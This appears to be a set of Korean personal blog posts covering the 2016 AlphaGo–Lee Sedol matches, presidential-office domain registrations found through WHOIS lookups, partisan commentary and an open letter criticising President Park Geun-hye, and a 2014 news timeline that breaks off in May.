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2016년 3월 9일, 이세돌은 알파고와 ‘구글 딥마인드 챌린지 매치’ 5번기 제1국에서 186수 만에 흑으로 불계패를 당했다.  한마디로 충격적이다. 세계 최정상급 프로바둑 최정상급 기사 이세돌의 패배를 어떻게 받아들여야 할까?


약 십 수년 년 전에 필자는 "The Many Faces Of Go" 라는 PC용 바둑프로그램을 어렵사리 구해서 바둑을 두어 본 적이 있었다. 지금처럼  온라인 웹사이트도 없었고 관련 정보도 부족했지만 아마추어 4~7급 수준이라고 알려졌었고, 당시 필자의 수준은 대략 7~9급 수준이었다고 기억된다. 하지만 당시 나는 한마디로 프로그램을 "가지고 놀았"었다.


원래 하수들은 되지도 않은 꼼수를 좋아한다. 내 꼼수에 컴퓨터 프로그램은 아무렇게나(녀석은 나름 최선을 다했겠지만) 맞두다가 박살이 났었으니까. 심지어 초읽기 시간제한도 최대로 했었는데 말이다. 그래서 "아직은 아니구나" 생각했던 시절이 기억난다. 그런데..., 이런 일이 결국 일어나고 말았다. 경우의 수가 상대적으로 작은 장기나 체스도 아니고 바둑에서 말이다.


컴퓨터에 사람이 진 것이 처음은 아니다. 그러나...


지난 1997년 체스 챔피언 카스파로프를 무너뜨린 IBM의 딥블루는 일종의 버그[각주:1]로 인간을 물리쳤다는 말(연합뉴스 참조. Deep Blue 개발자의 고백)이 있다. 한편, 프로 바둑기사가 컴퓨터에 패배한 것이 처음은 아니다. 이미 2015년 10월에 알파고는 유럽챔피언 판후이 2단를 5대 0으로 대파한 적이 있었다. 


2015년 10월 판후이 2단: 알파고 기보 중 하나


이때만 해도, 바둑의 본고장도 아니고 유럽의 프로 2단 실력이니 그럴 수도 있겠다 싶었다. 그러나 세계 최정상급 이세돌 9단이 근소하게 진 것도 아니고 186수 만에 불계패를 당했다. 이제 바둑에서까지 사람이 컴퓨터에 도전해야 하는 시대가 온 것인가?



'알파고'의 수준은 어느 정도인가?


알파고는, 타이젬[각주:2] 기준으로 20초 속기 수준으로 보면 프로 50위권 밖이라고 평가되었었다(관련 기사). 하지만 이 평가는 알파고가 최정상급 프로기사들의 기보를 집중적으로 공부하기 전의 수준이 아니었을까 짐작된다. 알파고는 판후이와 대국하기 전에 유럽의 아마추어 대국 기보를 공부했었다고 한다(이러고도 판후이에게 압승). 그리고 그 이후에는 세계 최정상급 기사들의 기보를 집중적으로 연구했었을 것이라는 추측이다. 


알파고의 능력을 보자면, 이미 3000만 개 이상의 기보를 학습했다고 하며, 당연한 말이겠지만 쉬지도 자지도 않고 대국을 하며 바둑 수를 배웠다고 한다. 벌써 2016년 1월 동안 4주 만에 100만 대국을 익혔고 하루에 3만 대국을 소화할 수 있다고 딥마인드 측은 밝힌 바 있다(참고: 알파고 알고리즘 요약 - slideshare.net).


2016년 3월 9일 이세돌:알파고 제1국 기보. 타이젬 기보 캡처


대국 전 이세돌 기사는 호언장담했었다. 2시간 제한에 60초 초읽기 3번 정도면 5:0 내지 4:1 정도로 이기지 않을까 생각한다고..., 그리고 세계 최정상급 프로기사들의 기보는 최대 1만 5천 개 가량밖에 안 되고 저작권 문제도 있으므로 제아무리 최강의 "딥 러닝(Deep Learning)과 강화학습(Reinforcement Learning; RLAI)" 능력을 가진 알파고라도 사람에게는 무리라는 예측이 나돌았었다. 그러나 첫 대국이기는 하지만 그 결과는 참담하다. 


결국, 불계로 끝났지만, 형세 상으로 보면 덤 7집 반을 공제하고 반면으로 4집 반가량 알파고가 앞섰고, 프로 기사의 대국에서 4집 반이면 아마추어에서는 소위 '만방' 이라는 점이 더 무섭게 다가온다. 일반 뉴스나 신문들은 우세한 국면에서 이세돌이 실수 했기 때문이라고 하지만, 일부 전문가들은 대국 내내 단 한 번도 이세돌이 우세했던 적이 없었다고 분석하기도 한다(나무위키).



그러나 결국 인간이 승리할 것?!


총 5국 중 제 1국을 승리한 DeepMind 측 CEO인 데미스 하사비스(Demis Hassabis)는 뛸 듯이 기뻐하며 "우리는 달에 착륙했다." 라고 소감을 밝혔다고 한다. 한 편, 대국을 끝낸 알파고는 담담하게 다음과 같은 소감을 밝혔다고 전해진다. "0001011010111110101000010111101010...". 믿거나 말거나.


IT 관계자로서는 박수를 보내고 싶긴 하지만 ..., 어찌 보면 섬뜩한 결과에 무서운 생각마저 들기도 한다. 이미 인공지능으로 무장한 컴퓨터에 회계사, 변호사, 각종 자문역할 등의 전문직 일자리까지 뺏길지도 모른다는 불안감이 팽배한 이 시점에서 말이다. 그러나, 냉정하고 실수가 적은 '컴퓨터'라는 상대방을 몰라서 방심한 한순간의 실수일 뿐, 결국 바둑에서만큼은 인간이 승리할 것이라고 믿고 싶다.


이 대국 결과를 두고  에릭 슈미트 구글 회장은 "대국의 결과와 상관없이 최종 승자는 인류라"는 의미심장한 말을 남겼다. 나는 이 말이 진심이라고 믿고 싶다. 사람은 컴퓨터를 지배하고 통제하면서 활용할 수 있어야 한다. 그렇지 않다면 언젠가 영화 '터미네이터' 와 같은 암담한 종말이 올지도 모르기 때문이다.



번외1: 2국도 졌다, 이 난국을 어떻게 하나?


1국에 이어 3월 10일에 속행된 2국도 완패했다. 알파고의 "신의 한 수" 인 37수는 인간의 고정관념의 정곡을 찔러버린 수라고들 한다. 알파고가 1분 만에 한 수씩 둔다는 생각도 깨졌다. 국면이 복잡해지자 2분가량 소위 '장고'를 하는 모습도 보여 줬기 때문이다.


"생각외로 만만치 않다"가 아니라 이제 한 판이라도 이겨야겠다는 인간 이세돌의 절박함은 다음과 같은 대응책을 밤새 고안해 냈다. 그의 절친 홍민표 9단, 박정상 9단 등과 함께...(경향신문).


그런데 이 와중에 이세돌이 졌기 때문에 바둑의 부흥을 위해 새누리에 입당했다는 조훈현 씨는 도대체 무슨 생각일까? 그게 무슨 상관이 있는 건지 참으로 오묘신기 빵빵이다. 어쨌든...,


  • 알파고는 수많은 계산이 필요한 초중반에, 변수(경우의 수에 의한 변화)를 줄이려고 노력한다. 즉 오묘한 형세 변화를 주도하는 '패'를 유도하여 반상의 변화를 꾀한다(이 부분은 대국 후 이 9단과 함께 작전회의(?) 를 했던 동료 기사들의 주문이었고, 정작 이 9단 본인은 "자기의 바둑을 두면 되지!"라고 결연히 말했다는 후문이다 = 노컷뉴스)).
  • 마찬가지 전략에 의해, 알파고가 싫어하는 듯한 국면 즉, 판의 모양을 크게 만들어야 한다
  • 당연한 이야기지만, "실수 줄이기"이다. 상대방도 완벽한 인공지능은 아니므로 초중반에 알파고가 저지르는 실수를 파고들면서, 경우의 수가 줄어드는 후반에 실수를 줄여야 승산이 있다(사실 알파고의 37수는 일종의 실수가 아닐까 하는 생각이 드는 건, 내가 하수이기 때문일까? ^^;;).


과연 결과가 어떻게 될지 귀추가 주목되는 "진정한 세기의 대결"이다. 이세돌 파이팅!!!



번외2: 3국도 완패, 그런데 커제라면?


3국도 걱정했던 대로 완패하고 말았다. 이제 5국 중에서 단 한 판이라도 이겨 보는 게 목표로 바뀔 듯하다. 패에 의한 복잡한 양상은 피하는 듯했지만, 팻감을 염두에 둔 형세 판단에 의한 선택도 정확했다는 평이 지배적인 듯하다.


이제 본격적으로 인간이 인공지능 컴퓨터에 도전하는 형국이 되는 것이다. 돌아가는 분위기상, 최근 이세돌과 호각을 보이는 중국의 커제 9단이 알파고의 도전을 받아들일 듯한데, 그 결과가 주목되는 시점이다.


한편, 국내 뉴스들이 전한 바 있는 커제의 '망언'은 중국어에 일가견이 있는 한 네티즌에 의하면 오보라는 얘기가 있다. 다시 한 번 국내 기자들의 기레기적 속성이 고개를 내민 것이 아닌가 하는 생각을 지울 수가 없다(MLBPARK). 번역된 내용을 보면 커제가 했던 말 어디에도 "이세돌이 인류 대표 자격이 없다." 라는 말은 찾아볼 수가 없었다는 것이다.


사실 확인 없이 퍼 나르기만 하는 "기레기는 각성하라!" 제발~!!!



번외3: 이세돌의 첫 승리를 축하합니다


마음을 비운 듯한 이세돌이 드디어 최강의 인공지능 알파고(알사범, 알9단으로도 불리운다고...)에게 첫 승리를 거두었다. 이 9단의 힘겨운 승리를 지켜보며 2014년에 개봉했던 영화 "신의 한 수" 의 내용이 잠깐 떠올랐다. 주님(안성기 분)이 죽어가면서 태석(정우성 분)에게 한 말이다. "너무 유연해서 꺾을 수가 없어. 부러지지가 않아... 아이가 두는 거야, 순수한..."



영화 "신의 한수(2014, 조범구 감독)" 중에서



어쨌든, 이로써 인공지능도 상대방의 신의 한 수에 멘붕(?)을 겪고 '떡수' 를 두거나 치명적인 실수를 할 수도 있다는 것과, 알파고도 불계패 즉, "돌을 던질[각주:3]" 수도 있다는 것을 보여 주었다. 집념의 이세돌, 정신력과 집념의 승리를 축하합니다. 바둑계의 동료 기사들도 "아름다운 바둑", "멋진 대국"이라고 칭찬했다고 한다.



이세돌의 회심의 일격. 사진 출처: Yettie Studio 생중계 화면 캡처




AlphaGo, 돌을 던지다! 사진 출처: Yetti Studio 생중계 화면 캡처



2016년 3월 13일 이세돌:알파고 제 4국 기보. 타이젬 기보 캡처



- Barracuda -


  1. 더 이상 불리한 국면을 타개할 방법이 없자 랜덤하게 아무렇게나 두어 버리는 일종의 버그수. 정작 상대방인 카스파로프는 도대체 이게 뭔가 하고 깊은 고민을 하다 멘탈이 무너져서 악수를 두고 이후 게임들까지 망쳐버렸다는 후문 [본문으로]
  2. 타이젬바둑(Tygem)은, 동양온라인이 운영하고 있는 인터넷 바둑사이트. 2004년에 설립되었고 한국, 일본, 중국 각지에 홈페이지가 있다. 대국 시스템 이외에, 기전, 바둑강좌, 각종 이벤트를 운영하고 있다. 2004년에 조훈현, 이창호, 유창혁등의 바둑기사, 동양그룹, 중앙일보, DACOM 등에 의해 설립되었다. 2008년 7월에는 홈페이지 명칭이「동양바둑」이라 개칭되었다(위키백과) [본문으로]
  3. 전해지는 바로는 승리할 확률이 10% 이내이면 항복 즉, 돌을 던지게 되어 있다고 한다. [본문으로]
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청와대가 보유한 조잡하고 치졸한 인터넷 도메인들


지난 2011년에 한겨레신문에 실린 웃픈 기사가 생각났다. 청와대가 "쥐박이.com , 쥐박이.kr, 쥐박이.net, 쥐박이.org. 명박이.kr..." 같은 한글키워드 도메인들을 2010년에 구매하여 보유하고 있다는 기사였다(기사 보기). 그렇다면 박근혜정부는 어떨까 싶어 몇 가지 키워드와 도메인들을 검색해 보았다. 다음을 보자.



우선 대표적인 한글키워드, '닭그네' 로 후이즈를 검색해 보았다. 예상했던 대로 닭그네.kr, 닭그네.com, 닭그네.net 3개의 도메인은 대통령비서실(postmaster@president.go.kr) 소유로 되어 있다. 나머지 "닭그네.한국" 한글도메인은 '미스터 jeon' 이라는 개인이 등록, 보유하고 있는 것으로 보인다.



도대체 뭐하러 이런 도메인을 세금을 들여서 보유하려 한 것일까? 내가 낸 세금으로 무언가를 차단하고 가리며 통제하려는 치졸한 수작을 보니, 참으로 답 없게 어리버리한 사람들이라는 생각이 든다. 조만간 소유자 정보가 비공개로 전환될지도 모르겠다.



대통령비서실이 보유한 국제인터넷 도메인들을 보니


다른 키워드 몇 개로 더 검색해 보려다 이게 뭐냐 싶어서 그만 두려던 차에, 리버스후이즈로 검색을 시도해 보기로 했다. 즉, 대통령비서실 명의로 등록된 국제 도메인을 찾아 보는 것이다. 방법은 간단하다. domainbigdata.com 에서 해당 이메일 소유자가 보유한 도메인 목록을 볼 수 있기 때문이다(검색해 보기).


등록 정보는 Office Of The President, Korea, Republic Of... 로 나오고, 결과를 보니 등록자(Registrant)가 "office of the president"로 되어 있는 인터넷 도메인이 총 89개로 보인다(목록 보기). 소유자명으로 검색을 했기 때문에 위에서 검색된 결과보다 더 많고, 이들 모두가 청와대 소유로 보이지는 않는다(대다수 나머지 잡다한 도메인들은 Private 처리가 되어 실 소유주를 확인할 수가 없다). 하지만 뭔가 의심스럽기는 하다.



예상했던 대로다. antibakgeunhye.com, antigeunhye-bak.com 등 "안티 박근혜" 의미로 조합할 수 있는 10개 가량의 국제 도메인 주소들이 보인다. 거참, 기왕에 보유할 거면 com, net 외에도 us, io, tv 같은 인기 있는 TLD들도 다 사버리지 그랬니?


쥐박이.com 이나 닭그네.com 이나 피같은 세금 엉뚱한 데 쓰는 작태는 여전하구나.



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2013년 12월 우리의 고개를 끄덕이게 만들었던 '독재, 1.9' 는 수구꼴통들의 지배력 유지 전략에 해당하는 핵심을 다음과 같이 지적했다. 자신들의 권세와 노략질을 위해 무언가를 망치는데는 이골이 난 놈들에게 이 4가지 꼼수는 손오공이 여의봉 다루듯이 손쉽게 느껴졌을 것이다.


  • 반공주의=레드컴플렉스=매카시즘
  • 지역주의
  • 민주세력의 분열과 배신
  • 권언유착




그들이 노리는 5번째 꼼수는 '역사교과서 국정화'


이제 그로부터 2년이 지난 지금, 닭과 십상시 & 주변의 날파리들은 그들의 치명적인 약점이 될 수도 있는 친일/독재에 대한 흔적을 말소하기 위해 '올바른 역사'와 '애국' 이라는 미명하에 역사교과서 국정화를 비밀리에 진행해 왔고, 그 노골적인 대쉬가 시작됐다. 이 치졸한 짓의 성공은 그들이 원하는 '독재, 2.0'의 완성을 위한 방점이 될 것이다. 유신회귀를 그 바탕에 깔고......


역사교과서 국정화는 진정한 '독재, 2.0'의 시작이고, 이거야말로 민주주의의 패배다. 거창한 말 싹다 빼고, 국정화된 역사로 인해 미래에 당신의 아이 중 몇몇은 바보가 되거나 소시오패스로 자라날 지도 모를 일이다. 마치 '병든 닭'처럼 말이다.


전체 흐름을 다 보면 그런 기운이 온다. 꼭 찍어 먹어 봐야 똥이고, 마셔봐야 시안화칼륨인지 아는가?


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Bryan의 MemoLog. 쉽게 익혀 보는 IT 실습과 개념원리, 코딩 세계의 얕은 맛보기들, 평범한 삶 주변의 현상 그리고 進上, 眞想, 진상들


1975년 8월 17일 경기도 포천 약사봉에서 의문사 하신, 재야대통령 고 장준하 선생님의 아들 장호준씨가 삼일절을 맞아 오마이뉴스에 보낸 공개서신 내용입니다. 당연히 출처는 오마이뉴스이고, 원문 그대로 싣는 이유는 그 동안 마음 속에서만 막연히 떠돌던 생각들을 워낙 잘 표현하여 일침을 가하시니, 읽는 동안 가슴이 뜨거워지고 너무도 공감이 되었기 떄문입니다(원문 링크 ☞오마이뉴스).


그 분의 말씀 중 저의 뇌리를 두드렸던 절절한 키워드들을 나열해 봅니다.


[아버지, 장준하, 공주놀이, 광주 민주화 항쟁, 다카키 마사오, 유신 독재, 권력의 사유화, 천민 자본주의, 세월호, 친일청산, 무능과 무지, 권불삼년, 사퇴]


"분명히 닭은 망국 조류입니다." - Barracuda -



박근혜 대통령 귀하

1975년, 그해 여름은 유난히 더웠습니다. 

8월 17일 일요일, 연일 삼십년 만의 더위라는 말을 쏟아 냈던 그 더위의 한 가운데서 오후 한 시경 나는 신원이 밝혀지지 않은 어떤 남자로부터 전화 한 통을 받았습니다. 남자의 목소리는 담담하게 차분했으면 내용 역시 '장 선생님께서 등산 도중 사고를 당하셔서 많이 다치셨으니 사람들이 와서 모시고 가야 한다'라는 지극히 간결한 것이었습니다. 

전화를 받은 직후 나는 어머니를 모시고 당시 살고 있던 상봉동을 떠나 경기도 포천 이동으로 갔고 그 곳 계곡, 벼랑 아래에서 들것에 묶인 채 주무시듯 누워계신 아버지를 만나게 되었습니다. 정확히 사십년 전, 귀하의 어머니가 총탄에 의해 사망한 지 만 일년이 되는 때였습니다. 

제가 이 말을 하는 것은 그 날 귀하는 어디에서 무엇을 하고 있었는가 하는 것을 묻기 위함입니다. 어쩌면 귀하의 아버지는 그 날도 궁정도 안가에서 아침을 맞았을 것이며 귀하 역시 청와대의 어느 안락한 자리에서 달콤한 잠을 자고 일어났을 것입니다. 하지만 내 아버지는 그 순간 죽임을 당하셨습니다. 

그날 이후, 나는 학업을 중단하고 생계를 이어가기 위해 점원으로 일을 해야만 했습니다. 그때 귀하는 어느 누구도 멈출 수 없는 절대적 유신 권력의 비호 아래 화려한 공주 놀이에 빠져들고 있었습니다.  

1979년 10월 26일, 내가 박정희의 사망 소식에 민중의 힘으로 유신독재를 끝내지 못한 한을 가슴에 품고 빈 가방을 든 채 휴교령으로 닫힌 학교를 뒤로 하고 노동의 현장으로 떠나야 했던 그 때 귀하는 부정한 재물을 담은 가방을 움켜쥔 채 청와대를 빠져 나와 무상으로 얻은 성북동 저택으로 떠났습니다.  

1980년 5월, 귀하는 어디에 있었습니까

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▲  박근혜 대통령이 1일 오전 서울 세종문화회관에서 열린 제96주년 3·1절 기념식에서 기념사를 하고 있다.
ⓒ 연합뉴스

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귀하가 박정희가 탈취해 만든 대학의 이사장으로 삶을 변신해 갈 즈음 나는 1980년 5월 19일 육군에 입대했고 전라도 광주로 보내져 '충정훈련'을 받아야만 했습니다. 아실지 모르겠습니다만 '충정훈련'은 시위진압 훈련이었으며 당시 광주 민주화 항쟁에 나선 시민들에게 총질을 하게 하는 훈련이었습니다. 1980년 5월 귀하는 어디에 있었는지 묻고 싶습니다. 

전두환 정권의 막바지였던 1987년 내가 시골의 작은 교회에서 김매기를 하고 돼지 똥을 치울 때, 박종철, 이한열을 비롯한 무수한 젊은이들은 거리에서 민주주의를 위해 목숨을 바쳐 쓰러져 갔고 그 때 귀하는 물려받은 피 묻은 재물의 분배를 놓고 싸움질을 하며 나날을 보냈습니다. 아십니까? 지금 귀하로 하여금 대통령 자리를 얻을 수 있게 해준 대통령 직선제는 바로 이 젊은이들의 고귀한 피로 쟁취된 것입니다. 

1990년, 내가 소외되고 굶주린 피난민들에게 물 한 모금, 밥 한 그릇을 전하기 위해 동남아시아의 여러 나라들을 전전했던 그 때 귀하는 앞뒤 분간도 하지 못한 채 혼미케 하는 자의 농간에 빠져 가족 간의 분쟁으로 세월을 탕진했습니다. 

돌아온 조국 대한민국에서 피흘려 지켜온 고귀한 민주주의가 귀하를 국회의원으로 만들어내는 허망한 결과를 보던 때 나는 또 다시 미국행 비행기에 몸을 싣고 조국을 떠나야 했었습니다. 그리고 귀하에 대한 소문은 더 이상 나와는 상관없는 것이 되리라 생각했었습니다.

하지만 그것은 내 보잘 것 없는 소망일 뿐 귀하의 권력을 향한 집요한 집착은 멈출 줄 몰랐습니다. 결국 지난 2012년 대선 중에 나는 '민족을 배반한 친일 일본군 소위 다카키 마사오, 신념과 동지를 배반한 변절 남로당원, 국가와 군대를 배반한 쿠데타의 수괴, 국민과의 헌법을 배반한 유신 독재자, 그 박정희의 반역적 역사를 이어 받아, 부정한 권력을 이용하여 강탈한 장물을, 자신의 정치적 야욕을 이루기 위한 자금으로 사용하며, 친일적 사대주의와, 유신 독재적 망령에 사로잡혀 있는, 박근혜 후보가 대한민국의 대통령이 되는 것은, 민족의 해방과 독립을 위해 목숨을 바치신 순국 선열들과, 대한민국의 민주주의를 위해 온 삶을 바치신 민주 영령들의 고귀한 넋을 모독하는 행위임으로 박근혜 후보는 대한민국의 대통령이 되어서는 안 된다'라고 했습니다. 

그럼에도 귀하는 대통령에 당선 되었고 나는 귀하를 위해서가 아니라 대한민국을 위해 일말의 혹시나 하는 기대를 걸었습니다.

그러나 귀하가 대통령이 된 이래 지난 이년여간은 실낱같던 내 기대를 허사로 만들기에 충분 했습니다. 예상했던 그대로 귀하는 역시 대한민국의 대통령이 되어서는 안 된다는 것을 증명이라도 하듯 하루하루 쏟아낸 말과 행동들은 진정 부끄럽기 짝이 없는 것이었습니다. 

"모두 다 갚아 드리겠습니다."

박근혜씨, 기억하실지 모르겠습니다만 이 말은 귀하가 2007년 한나라당 대선 후보 경선 중에 내 어머니를 찾아와 했던 말입니다. 

이 땅의 국민들은 해방 이후 막지 못한 민족의 분단을 6.25 동족상잔이라는 피로 갚았고, 이승만 독재 정권을 묵인한 죄과를 4.19의 숭고한 목숨으로 갚았으며, 박정희의 군사 쿠데타와 유신 독재를 막지 못함을 수 없이 많은 민주인사들의 무고한 희생으로 갚았습니다. 

뿐 아니라 전두환의 군사 반란을 외면한 대가를 거리에서 죽어간 젊은이들의 희생으로 갚았고 정경유착과 매판자본으로 점철된 군사 독재적 경제개발에 복종했던 과거를 국가부도라는 절명의 위기로 갚았습니다. 

더하여 이명박 정권으로 이어진 권력의 사유화와 천민 자본주의에 편승했던 극단적 이기주의의 죄과까지 세월호에서 처참히 죽어간 어린 영혼들이 어른들을 대신하여 이미 다 갚았습니다. 그러므로 이제는 귀하가 갚아야 할 차례입니다. 

친일과 독재의 둑을 허물어야 합니다

박근혜씨, 귀하의 삶은 오직 민족의 해방과 독립을 위해 광야에서 스스로의 목숨을 바쳐 투쟁했던 순국 선열들의 피 흘림과 대한민국의 민주주의를 위해 거리에서 쓰러져간 민주 투사들의 고귀한 희생위에 포장된 애국자의 모습으로 민주주의의 허울을 뒤집어 쓴 채 무임승차를 한 것일 뿐입니다.

오히려 민족 역사와 정기를 회복하고자 친일청산을 위해 자신의 모든 것을 바쳐 가까스로 되살려 놓은 민족 역사의 진실을 한 순간에 왜곡시키고 있고 뜨거운 거리에서 그리고 차가운 감옥에서 뼈를 깎고 살을 도려내며 이룩해 놓은 민주주의를 말살하고 있는 것입니다. 

역사는 지나간 과거이지만 없어진 것이 아니라 현실에 살아 있는 것입니다. 과거를 역사의 평가에 맡긴다고 쉽게 말하지만 이미 평가된 과거를 뒤 엎는 실책은 또 다른 역사의 평가를 불러오는 오류와 혼란으로 역사의 진보를 가로 막을 뿐인 것입니다. 

대한민국 역사의 진보를 가로 막고있는 것은 해방 이후 청산되지 못한 친일의 잔재들과 경제 개발이라는 미명아래 자행되었던 독재 권력에 대한 심판이 제대로 이루어지지 못함에 있습니다. 그러므로 우리 조국 대한민국이 진정 세계 속에서 당당하게 우뚝 서는 아름다운 나라, 자랑스러운 민족이 되게 하기 위해서는 민족 역사의 강물을 가로막고 있는 친일과 독재의 둑을 허물어야 합니다. 그리고 그 둑의 한가운데 귀하가 있는 것입니다. 

박근혜씨. 둑으로 밀려오는 물을 막을 수 없듯이 권력으로 솟구치는 역사를 막을 수는 없는 것이며 둑이 터지기 전에 스스로 허무는 것이 역사를 흐르게 하는 현명한 방법입니다.  

지금까지 귀하는 친일로 더러워진 이 민족역사의 정기를 되살리고 민주주의를 바로세우는 피흘림에 아무 한 것도 없으며 지난 이년간의 무능과 무지를 지켜본 국민들은 귀하에게 더 이상 아무 바라는 것도 없습니다. 

그러므로 이제 귀하가 국민과 국가 그리고 민족의 역사를 위해 갚을 수 있는 길은 오직 '대통령직 사퇴'뿐입니다. 그것이 이 민족에게 또 다시 불행을 안기는 역사의 죄를 짓지 않는 길이며 훗날의 역사는 귀하의 대통령직 사퇴를 친일과 독재 청산을 위한 마지막 싸움이었다고 기록하게 될 것입니다. '권불십년'이라고 하지만 귀하에게는 오년, 그것도 이제는 삼년도 남지 않았습니다. 때를 놓치지 마십시오. 

건강을 기원하며 더 이상 민족과 국가 앞에 부끄럽지 않은 귀하의 삶이 되기를 진심으로 바랍니다.  

이천십오년 삼일절 새벽에 
미국 커네티컷에서 장호준 

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Bryan의 MemoLog. 쉽게 익혀 보는 IT 실습과 개념원리, 코딩 세계의 얕은 맛보기들, 평범한 삶 주변의 현상 그리고 進上, 眞想, 진상들

 


2014년, 우리에게 희망보다 절망을 더 안겨준 한해였다. 과연 여기가 바닥일지 아니면 더 심한 바닥 상황이 내년에 또 올지도 모른다는 생각을 떨쳐버릴 수 없다. 하지만 언제든 바닥을 만날테고, 그럼 우리 인본주의의 진정한 민주시민들은 다시 치고 올라 가 세상을 바로 잡으리라! 정의의 강물은 언제고 흐른다.


"가만히 있으라" 라는 강압에 "가만히 있지 않겠다" 로 답하는 용기와 실천이 우리를 살린다.

 

(Last update: 2014/12/30)

1월

1일

*한국 전 지역, 도로명 주소 전면 사용

9일*한국은행 금융통화외원회, 기준금리 2.5%로 동결
15일

*이집트 신헌법 국민투표, 투표율 38.6%, 찬성율 98.1%로 통과

16일

*박근혜, 인도와 정상회담. CEPA확대와 안보분야 협력 강화 합의

17일*전북 고창군, 고병원성 조류인플루엔자 발생, 오리 2만여 마리 살처분
*미 오바마 대통령, 일본 정부의 위안부 결의안준수를 촉구법안에 공식 서명
20일

*KB국민카드, NH농협카드, 롯데카드에서 고객 정보 천만건 이상 유출

*전북 고창군, 부안군 일대 조류 인플루엔자 확산

22일

*태국 반정부 시위, 60일간 국가 비상사태 선포
26일*아르헨티나, 13년 만에 다시 국가부도설
28일

*미 조지아 주 상원, 한반도 동쪽바다 동해 표기법 결의안 만장일치로 통과

31일

*전남 여수시 원유2부두에서 기름 600여톤 유출로 근해 오염

2월

1일

*조류 인플루엔자 의심, 부산과 충북 진천군에서 접수

4일

*스코틀랜드 의회, 동성 결혼 허용 법률안 통과
5일*이산가족 상봉행사를 위한 남북 적십자 실무접촉, 2/20~2/25 금강산 개최 합의

6일

*김용판 전 서울경찰청장, "국정원 댓글 수사 축소 혐의" 1심 무죄 선고
10일

* 홍문종이 이사장으로 있는 포천 아프리카예술박물관 이주노동자 기자회견 "노예노동, 인간다운 삶 보장하라"

*도널드 그레그 전 주한 미대사가 북한 외무성 초청으로 비공식 방문

*일본 도쿄 도지사 선거, 마스조에 요이치가 압도적 표차로 당선

11일

*전 일본 총리 무라야마 도미이치, 대한민국 방문하여 위안부 피해여성 만남

12일

*판문점 평화의 집에서 7년만에 북한과 고위급 회담 개최

13일

*경기도 남양주 빙그레 제2공장 폭발사고 발생, 1명 사망, 3명 부상
*부산지방법원, 공안조작 부림사건 재심에서 5명의 피해자에게 33년만에 무죄 선고

15일

*부산 남외항 기름 유출, 1월의 전남 여수시 유츨보다 1.5배 많음

*시민활동가 네티즌 싸울아비, 서울역 앞 고가도로에서 1인 시위중 부상

*미국 연방법원, 버지니아 주 동성결혼금지법을 뒤집음

*러시아 소치 동계올림픽에서 한국에서 귀화한 안현수가 8년만에 금메달 획득

16일

*"18대 대통령 부정선거 백서" 출판 경찰 수사결과, 무혐의 결론

*이집트 시나이반도 한국인 관광버스 폭탄테러, 진천중앙교회신도 3명 사망, 14명 부상

17일

*경주 마우나리조트 붕괴, 부산외대 신입생 10명 사망, 103명 부상

*통합진보당 이석기, 내란음모 혐의 등으로 1심 유죄 선고, 징역12년 자격정지 10년

*국제연합 북한인권조사회, 북한 김정은을 국제사법제판소 회부 권고

18일

*우크라이나 키예프 반정부 시위, 100명 이상 사상자 발생

20일

*러시아 소치 동계올림픽 피겨스케이팅 여자 싱글에서 김연아 은메달 획득

*3년 4개월만에 금강산에서 이산가족 상봉 행사

*우크라이나 반정부 시위, 시위대와 경찰 충돌로 100여명 이상 사망

22일

*빅토르 야누코비치 우크라이나 대통령 탄핵, 올렉산드르 투르치노프 대통령 취임

25일

*박근혜, 경제 혁신 3개년 계획 발표

27

*미 아리조나 주지사, 동성애자 및 타종교인 대상 서비스 차별법안 승인 거부

28

*비트코인 최대거래소인 Mt. Gox(마운트 곡스), 해킹에 의한 비트코인 상실 등으로 경영 파탄, 일본 법원에 회생절차 신청

3월

2일

*민주당 김한길, 안철수, 통합신당 창당 합의, 기초선거 공천 않기로 합의 발표

3일

*북한, 동해안으로 단거리 미사일 2발 발사
*우크라이나와 러시아간 대립, 러시아 증시 2.1% 폭락, 세계 경제 흔들

6일

*방문진, MBC 부사장(권재홍), 보도본부장(이진숙), 경영기획본부장(백종문) 등 인사

*KT 홈페이지 해킹 1200만명 고객정보 유출

*프란치스코 교황, "동성애 커뮤니티에 대한 천주교의 재평가 필요"

8일*말레이시아항공 370편 보잉 777 여객기, 베이징으로 가던 중 추락

10일

*정부의 의료 영리화 정책에 반대한 전국 50여개 대학병원 의사와 전공의 집단 휴진
16일

*안철수, 김한길, 새정치민주연합 창당, 26일에 출범(민주당은 역사속으로...)

18일

*크림공화국, 러시아와의 합병 주민 투표

20일

*러시아 푸틴 대통령, 러시아 연방과 크림공화국간 합병 조약 체결

23일

*허재호 전 대주 회장, 구치소노역 하루 일당 5억원 논란(벌금 254억, 49일만에 탕감)

28일

*스위스 제네바의 유럽 유엔본부 회의, 북한 인권결의안 채택

31일

*북한, 서해 북방한계선에서 해상 사격운련 실시
*국제사법재판소, 일본이 남극에서 행하는 고래잡이 중단 판결

4월

7일

*제28보병사단 포병연대 의무대 윤승주 일병 사망(4개월간 군대 내 폭행 및 가혹행위)

*"서울시 공무원 간첩 조작 사건" 관여 탈북자 자살 시도

8일

*마이크로소프트, 윈도XP, IE7 지원 중단, 오피스2003 판매 및 지원 중단

10일

*대법원, 15년 간 끌어온 담배 피해 소송에서 KT&G에 소송 재기한 흡연자 패소 확정

13일

*우크라이나 보안군과 무장 친러 독립세력간 충돌, 2명 사망, 수십명 부상

15일

*경기도 안산시 단원구 반월공단 폭발사고, 3명의 사상자 발생

16일

*전남 진도군에서 청해진해운 여객선 세월호 침몰. 수학여행 중이던 안산 단원고 학생 325명 중 246명 사망(4명 실종), 전체 승객 476명 중 295명 사망(9명 실종)

20일

*울산 현대중공업 울산조선소 화재 발생, 4명의 사상자 발생
24일*헌재, 청소년 대상 온라인 게임 셧다운제 합헌 판결
26일*스페인 여객선 볼칸 데타부리엔테호, 항해 도중 화재 발생, 승객 334명 전원 구조
29일*미국 남동부 6개 주, 토네이도 피해로 29명 사망

5월

2일

*서울 지하철 2호선 상왕십리역 열차 추돌 사고, 승객 240명 부상
4일*인도 뭄바이 남쪽의 로하역 부근 열차 탈선, 10명 사망, 57명 부상

7일

*태국 헌재, 잉락 총리 해임 판결
10일

*서울 강남구 신사동 가로수길의 철거중인 건물 붕괴
*서울 지하철 6호선 합정역 승강장 연기 발생, 10분간 전동차 무정차 운행

13일

*북한 평양 안산1동, 23층 아파트 붕괴, 수백명 사망

16일

*일본 정부, 집단자위권 공식 선언

19

*박근혜, 세월호 침몰 사고에 대한 대국민 사과, 해경 해체 선언

20일

*태국 군부, 계엄령 선포

22

*박근혜, 국무총리 후보자로 안대희 전 대법관 지명

24일

